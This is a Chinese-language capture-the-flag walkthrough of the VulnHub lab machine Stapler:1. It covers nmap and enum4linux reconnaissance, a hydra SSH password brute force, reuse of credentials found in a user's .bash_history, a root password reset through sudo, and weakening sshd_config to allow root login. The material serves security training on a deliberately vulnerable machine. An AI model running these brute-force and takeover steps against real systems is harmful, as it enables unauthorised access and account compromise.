【Vulnhub通关】Stapler:1


准备工作

靶机基本信息

靶机名称:Stapler

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络(请手动设置!!)

渗透测试目标:获取root权限与交互式Shell并读取Flag文件

下载地址:Stapler: 1 ~ VulnHub

环境配置

解压Stapler.zip文件之后,请先编辑Stapler.ovf虚拟机配置文件,将文件中所有的Caption字符串替换为ElementName,随后删除Stapler.mf文件 ,最后打开VMware Workstation导入虚拟机。


信息收集

主机发现

在Kali Linux中,使用netdiscover命令进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

从中可以确定,网卡设备名为VMware, Inc.的机器即为靶机,IP地址为192.168.2.132。

网络服务扫描

确定靶机IP地址之后,我们先使用nmap对靶机进行初步扫描,命令如下:

shell 复制代码
# -sS 使用TCP SYN半开扫描
nmap -sS -A -sV -p- 192.168.2.132

部分扫描结果截图:

从中我们可以获得如下信息:

端口 传输层协议 应用层协议 详细信息 状态
20 TCP FTP(Data) vsftpd 2.0.8 or later 关闭
21 TCP FTP(Command) vsftpd 2.0.8 or later 开启
22 TCP SSH OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 开启
53 TCP DNS dnsmasq 2.75 开启
80 TCP HTTP PHP cli server 5.5 or later 开启
123 TCP NTP 无 关闭
137 138 TCP NetBIOS 无 关闭
139 TCP SMB Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) 开启
666 TCP 未知 无 开启
3306 TCP MySQL MySQL 5.7.12-0ubuntu1 开启
12380 TCP HTTP Apache httpd 2.4.18 ((Ubuntu)) 开启

同时得知靶机操作系统为Ubuntu Linux,内核版本未知。


服务探测

FTP服务(20、21端口)

根据nmap的扫描结果,靶机的FTP服务允许Anonymous用户登录,尝试一下:

发现登录时靶机的FTP服务返回了一条Banner信息,意思是叫靶机操作系统用户Harry 更新登录提示文本,这里先作为用户名敏感信息记录到新建的userlist文件中。

查看note文件,内容如下:

Text 复制代码
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John. 

又获得了两个用户名:Elly、John。

SMB服务(139端口)

对于SMB服务,我们首先使用enum4linux工具扫描一下:

shell 复制代码
enum4linux -a -o -M 192.168.2.132

部分扫描结果:

但重点在于获取到的 NetBIOS信息:

共享文件夹列表:

密码策略:

以及用户名和组列表:

Text 复制代码
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                     
                                                                                                                                                                                
S-1-22-1-1000 Unix User\peter (Local User)                                                                                                                                      
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''                                                                                                     
                                                                                                                                                                                
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                                               
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username '', password ''                                                                       
                                                                                                                                                                                
S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)                                                                                                              
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)

把这些用户全部保存到userlist文件中。

随后尝试登录共享文件夹kathy和tmp,将里面的文件全部下载到本地:

shell 复制代码
smbclient //192.168.2.132/kathy
smbclient //192.168.2.132/tmp

(也可以通过Kali Linux自带的Thunar文件浏览器下载文件)

如图为靶机SMB服务里存储的文件,其中有2份纯文本文件,1份VSFTPd的配置文件,1份TAR格式的WordPress源代码压缩包。(靶机上可能有WordPress??)但除此之外没有任何其它的用户名信息。


渗透测试

SSH密码爆破

通过前面的服务信息收集,我们得到了一大串用户名信息:

在没有密码字典的情况下,我们可以使用hydra工具进行密码爆破。(用户名字典可以在加上一些参数之后当做密码字典使用)

shell 复制代码
# -L         指定用户名字典
# -P         指定密码字典
# -e nsr     使用空密码、反转密码等爆破
hydra -L ./userlist -P ./userlist -e nsr ssh://192.168.2.132:22

如图,成功爆破出了SSH密码:

  • 用户名:SHayslett
  • 密码:SHayslett

尝试使用Termius登录:

成功!!!


权限提升

P.S. 下文所有成功登录的用户在登录之后原密码就被更改。

登录SHayslett用户之后,查看用户家目录下的文件,没有发现有效信息:

shell 复制代码
SHayslett@red:~$ ls -lA
total 20
-rw-r--r-- 1 root      root         5 Jun  5  2016 .bash_history
-rw-r--r-- 1 SHayslett SHayslett  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 SHayslett SHayslett 3771 Sep  1  2015 .bashrc
drwx------ 2 SHayslett SHayslett 4096 Nov  2 08:42 .cache
-rw-r--r-- 1 SHayslett SHayslett  675 Sep  1  2015 .profile

使用sudo -l命令,发现无法进行sudo提权:

shell 复制代码
SHayslett@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for SHayslett: *********
Sorry, user SHayslett may not run sudo on red.

查看进程,发现有一个名为JKanode的用户似乎在运行一些重要业务服务,推测该用户的权限较高:

尝试切换用户:

shell 复制代码
SHayslett@red:~$ su JKanode
Password: *********
su: Authentication failure

切换不成功,转而尝试进入其家目录查看文件:

shell 复制代码
SHayslett@red:~$ cd /home/JKanode && ls -lA
total 16
-rw-r--r-- 1 JKanode JKanode  167 Jun  5  2016 .bash_history
-rw-r--r-- 1 JKanode JKanode  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 JKanode JKanode 3771 Sep  1  2015 .bashrc
-rw-r--r-- 1 JKanode JKanode  675 Sep  1  2015 .profile

查看.bash_history文件,发现如下关键内容:

经过验证,图中的用户名和密码都为正确信息:

  • 用户名:JKanode,密码:thisimypassword;
  • 用户名:peter,密码:JZQuyIN5

尝试登录用户JKanode,成功:

尝试在该用户Shell上进行sudo提权,失败:

查看计划任务,一无所获:

Text 复制代码
JKanode@red:~$ crontab -l
no crontab for JKanode

再次尝试切换用户至Peter,登录成功,但发现有可能是一个Limited Shell:

经过一番思索之后,决定按照说明进入命令界面,按2使用操作系统管理员的配置:

而且执行id命令之后,我居然发现peter用户在sudo组之内。(好好好,是是是)

执行sudo -l继续验证:

shell 复制代码
peter@red ~ % sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: *********
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on red:
    (ALL : ALL) ALL

好啊,很好,非常好。

直接提权加改root密码:

shell 复制代码
peter@red ~ % sudo passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

Termius登录:

嗯??失败???

思前想后,密码是不可能出问题的,极有可能在SSH配置文件里有其它不必要的配置 ,登录Peter用户并提权查看/etc/ssh/sshd_config文件:

果然!

直接删除最后一行内容,并修改以下配置项:

  1. PermitRootLogin:由without-password修改为yes;
  2. StrictModes:由yes修改为no;
  3. PubkeyAuthentication:由yes修改为no。

重启SSH服务:

shell 复制代码
sudo systemctl restart sshd

再次尝试使用Termius连接root用户:

成功!!!


Flag信息公示

文件名:flag.txt
文件大小:463 B
MD5:8e386e344ca9e200a1182f0c97f5af58
SHA256:bb5ebb5bc41a960c6967fad55fedcdf97fe2f00887a6ffcbaa30091d856cee96

文件内容:

Test 复制代码
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

本次靶机渗透到此结束

相关推荐
奈落247 小时前
DeepSeek Harness 开源贡献手记:从 Issue 认领到 PR 合入的完整实践
大数据·人工智能·安全·搜索引擎·开源
xixingzhe28 小时前
正确认知HTTPS:并非万能加密,通信安全需要多层防护
网络协议·安全·https
小蒋观天下8 小时前
端侧大模型在安防摄像头部署实操(下篇)|模型量化、推理加速、视频接入与量产调优
大数据·人工智能·算法·安全·机器学习·计算机视觉·ai大模型
汤姆yu20 小时前
Gemini 4 Argon模型综述:技术、能力与实际使用指南
网络·安全·web安全·ai·大模型
hasty21 小时前
policy.xml 在,不代表策略生效:ImageMagick 补丁给安全配置验收的提醒
xml·mysql·安全
寻林写彡1 天前
云安全 | Docker 容器逃逸复盘(一):从隔离边界到运行时链路,如何确认自己身处容器
安全·云原生
网络毒刘1 天前
Manual 模式精修补丁:在 Agent 提案后用最小编辑完成高风险改动
安全·agent·ai编程·cursor
hasty1 天前
超时不等于安全结束:Wasmtime 批量操作漏洞与取消后的状态一致性
安全
troy1281 天前
智能体沙箱:如何为 Agent 模型搭建安全试验场,降低幻觉带来的损失
网络·安全
Chengbei111 天前
拒绝无效洞!蚂蚁Src榜一Clown 2.0 SRC SKill 第二代带状态闭环的白盒 & 黑盒审计 Skill
网络·人工智能·安全·web安全·网络安全·自动化·安全架构